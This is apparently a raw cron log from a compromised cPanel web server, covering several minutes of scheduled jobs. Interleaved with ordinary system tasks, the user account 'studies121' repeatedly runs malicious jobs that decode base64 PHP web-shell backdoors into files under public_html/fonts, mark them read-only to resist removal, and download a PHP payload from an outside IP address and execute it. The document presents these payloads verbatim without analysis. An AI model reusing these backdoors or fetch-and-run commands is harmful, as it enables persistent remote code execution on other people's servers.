Sep  6 17:06:01 ip-184-168-122-23 CROND[2197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:06:01 ip-184-168-122-23 CROND[2199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:06:01 ip-184-168-122-23 CROND[2196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:06:01 ip-184-168-122-23 CROND[2198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:07:01 ip-184-168-122-23 CROND[2280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:07:01 ip-184-168-122-23 CROND[2282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:07:01 ip-184-168-122-23 CROND[2281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:07:01 ip-184-168-122-23 CROND[2283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:08:01 ip-184-168-122-23 CROND[2374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:08:01 ip-184-168-122-23 CROND[2378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:08:01 ip-184-168-122-23 CROND[2376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:08:01 ip-184-168-122-23 CROND[2379]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:08:01 ip-184-168-122-23 CROND[2377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:09:01 ip-184-168-122-23 CROND[2539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:09:01 ip-184-168-122-23 CROND[2537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:09:01 ip-184-168-122-23 CROND[2538]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 17:09:01 ip-184-168-122-23 CROND[2540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:09:01 ip-184-168-122-23 CROND[2541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:10:01 ip-184-168-122-23 CROND[2644]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:10:01 ip-184-168-122-23 CROND[2645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:10:01 ip-184-168-122-23 CROND[2648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:10:01 ip-184-168-122-23 CROND[2650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:10:01 ip-184-168-122-23 CROND[2655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:10:01 ip-184-168-122-23 CROND[2656]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:10:01 ip-184-168-122-23 CROND[2657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:10:01 ip-184-168-122-23 CROND[2658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:11:01 ip-184-168-122-23 CROND[2750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:11:01 ip-184-168-122-23 CROND[2754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:11:01 ip-184-168-122-23 CROND[2753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:11:01 ip-184-168-122-23 CROND[2752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:12:01 ip-184-168-122-23 CROND[2835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:12:01 ip-184-168-122-23 CROND[2839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:12:01 ip-184-168-122-23 CROND[2836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:12:01 ip-184-168-122-23 CROND[2837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:12:01 ip-184-168-122-23 CROND[2838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:13:01 ip-184-168-122-23 CROND[2918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:13:01 ip-184-168-122-23 CROND[2919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:13:01 ip-184-168-122-23 CROND[2920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:13:01 ip-184-168-122-23 CROND[2922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:14:01 ip-184-168-122-23 CROND[3095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:14:01 ip-184-168-122-23 CROND[3098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:14:01 ip-184-168-122-23 CROND[3097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:14:01 ip-184-168-122-23 CROND[3096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:14:01 ip-184-168-122-23 CROND[3099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:15:02 ip-184-168-122-23 CROND[3181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:15:02 ip-184-168-122-23 CROND[3183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:15:02 ip-184-168-122-23 CROND[3184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:15:02 ip-184-168-122-23 CROND[3185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:15:02 ip-184-168-122-23 CROND[3182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:15:02 ip-184-168-122-23 CROND[3186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:16:02 ip-184-168-122-23 CROND[3278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:16:02 ip-184-168-122-23 CROND[3281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:16:02 ip-184-168-122-23 CROND[3282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:16:02 ip-184-168-122-23 CROND[3285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:16:02 ip-184-168-122-23 CROND[3283]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 17:16:02 ip-184-168-122-23 CROND[3280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:17:01 ip-184-168-122-23 CROND[3364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:17:01 ip-184-168-122-23 CROND[3365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:17:01 ip-184-168-122-23 CROND[3366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:17:01 ip-184-168-122-23 CROND[3367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:18:01 ip-184-168-122-23 CROND[3457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:18:01 ip-184-168-122-23 CROND[3458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:18:01 ip-184-168-122-23 CROND[3459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
